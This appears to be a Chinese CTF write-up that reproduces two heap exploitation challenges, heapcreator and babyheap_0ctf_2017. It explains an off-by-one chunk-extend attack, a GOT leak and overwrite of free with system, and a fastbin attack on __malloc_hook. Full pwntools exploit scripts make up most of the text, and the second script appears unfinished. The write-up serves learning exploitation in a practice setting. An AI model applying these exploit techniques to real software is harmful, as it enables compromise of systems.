复现hitcontraining_heapcreator
这道题,触及到了一个新知识Chunk Extend具体文章可以参考
好好说话之Chunk Extend/Overlapping_hollk的博客-CSDN博客 tql
审核代码的时候我们可以分析出大概题目申请堆块是,先申请一个计数堆块之后计数对快的指针会指向一个大小我们规定的内容堆块。
正常浏览后发现了在edit函数下有一个off by null漏洞,就是多溢出一个字节read_input(heaparray[idx]->content,heaparray[idx]->size+1);
为什么要用到chunk extend让我苦恼了很久,大概可以总结为一方面只能溢出一个字节我们就会想去常规的伪造堆块,可是伪造时候需要对齐,但是我们又只能控制一个字节,于是我们第一个堆的内容堆块大小才申请为0x10+8的形式,这样第二个堆块的pre_size我们就可以填满,进而控制第二堆的计数堆块的大小来伪造,可是这个时候却违反题目堆块的布置形式,这样子的话我们才必须用chunk extend来扩展,使得我们的第二个堆块被free后重新alloc布置,另一方面由于这道题并没有后门函数,就需要泄露libc,这又把我疑惑住了,思考了很久发现因为我们巧妙的chunk extend设计我们可以恰好覆盖到第二个堆块的计数堆块的指向内容对快的指针,我们直接覆盖再次打印时就会打印我们想泄露的libc地址
不知道为什么我本地时候函数地址有偏移,但是远程打通的时候却不用
from pwn import *
#p = remote('node4.buuoj.cn',29317)
p= process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("uban.16.64")
context.log_level='debug'
log.success("free---->"+hex(elf.got['free']))
def add(size,content):
p.sendlineafter("choice :",'1')
p.sendlineafter("Heap : ",str(size))
p.sendlineafter("heap:",content)
def edit(idx,content):
p.sendlineafter("choice :",'2')
p.sendlineafter("Index :",str(idx))
p.sendlineafter("heap : ",content)
def show(idx):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(idx))
def delete(idx):
p.sendlineafter("choice :",'4')
p.sendlineafter("Index :",str(idx))
add(24,'aaaa')
add(16,'bbbb')
add(16,"cccc")
edit(0,"/bin/sh\x00"+p64(0)*2+"\x41")
delete(1)
libc = ELF("uban.16.64")
elf = ELF("./heapcreator")
#add(48,'d'*16)
add(48,p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free']))
show(1)
#gdb.attach(p)
free_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("free----->"+hex(free_addr))
libc_base=free_addr-libc.symbols["free"]+0xa80
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']-16
log.success("system_addr: "+hex(system_addr))
edit(1,p64(system_addr))
delete(0)
gdb.attach(p)
p.interactive()
复现babyheap_0ctf_2017
详情参考无意间看到的通神博客babyheap_0ctf_2017 - 简书
这道题首先来说print函数中没有指针类型的目标同时也没有后面函数,留下的方法我目前已知便只有当申请smallbin时且只存在一块时,free掉时指向top_chunk => main_arena+0x58处,利用同事malloc——hook又在main_arena的上0x10处,这便是我们的目标修改malloc——hook,找到地址!
这道题的奇异点在于edit可以任意修改堆块大小,这很明显就可以伪造堆块,大方向就是伪造一个堆块包括一个满足small bin大小的堆,之后就free掉这个堆就可以得到地址。
具体的话就调试吧,值得注意的当我们free的时候我们要再申请一个堆块防止合并,为了满足大小位置堆块时,我们最后一个标记位置的堆块应该与我们申请的第一个堆块一样的这样保证循环
from pwn import *
p = process("./babyheap")
#p=remote("node4.buuoj.cn",25311)
context.log_level = 'debug'
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.sendline(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))
allo(0x60)
allo(0x40)
allo(0x100)
fill(0,'a'*0x60+p64(0)+p64(0x71))
fill(2,'b'*0x10+p64(0)+p64(0x71))
free(1)
allo(0x60)
fill(1,'c'*0x40+p64(0)+p64(0x111))
allo(0x100)
free(2)
dump(1)
libc=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print"libc-->"+hex(libc)
libc_base=libc-0x3c3b78
print"libc_base-->"+hex(libc_base)
libc=ELF("libc-2.23.so")
#libc=ELF("/lib64/ld-linux-x86-64.so.2")
#malloc = libc.symbols["__malloc_hook"]+libc_base
malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23
print hex(fake_chunk)
free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(0x7f85548deafd)+p64(0))
allo(0x60)
allo(0x60)
gdb.attach(p)